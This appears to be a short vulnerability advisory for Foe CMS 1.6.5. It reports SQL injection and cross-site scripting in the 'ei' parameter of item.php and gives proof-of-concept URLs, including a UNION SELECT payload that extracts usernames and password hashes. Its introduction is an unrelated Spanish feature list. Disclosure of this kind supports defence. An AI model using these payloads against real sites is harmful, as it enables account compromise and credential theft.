Vendor: http://foecms.com/Download: http://code.google.com/p/foecms/downloads/listVersions: 1.6.5Platform: linux, windowsBug: SQL Injection | Cross Site Scripting-------------------------------------------------------1) Introduction2) Bug3) Proof of concept4) Credits===========1) Introduction===========Gestor de categorias (Como phpbb3)Pasar a php orientado a objetosaccount_meta para firma, ocupacion, avatar, etc (como wordpress) permite añadir y quitar campos a gustoPermisos segun rangos para TODOPagina del UCP para cambiar los permisos de acceso (amigos y eso)======2) Bug======SQL Injectionhttp://victim/[path]/item.php?ei=[SQLi]Cross Site Scriptinghttp://victim/[path]/item.php?ei=[XSS]=====3)proof of concept=====Example SQLihttp://victim/[path]/item.php?ei=-1 union select 1,username,pass_sha,1,1,1,1,1,1 from foe_account--Example XSShttp://victim/[path]/item.php?ei=<script>alert(1)</script>=====
Title : Foe CMS 1.6.5 SQL Injection Vulnerability
Description : Vendor: http://foecms.com/ Download: http://code.google.com/p/foecms/downloads/list Versions: 1.6.5 Platform: linux, windows Bug: SQL Inj...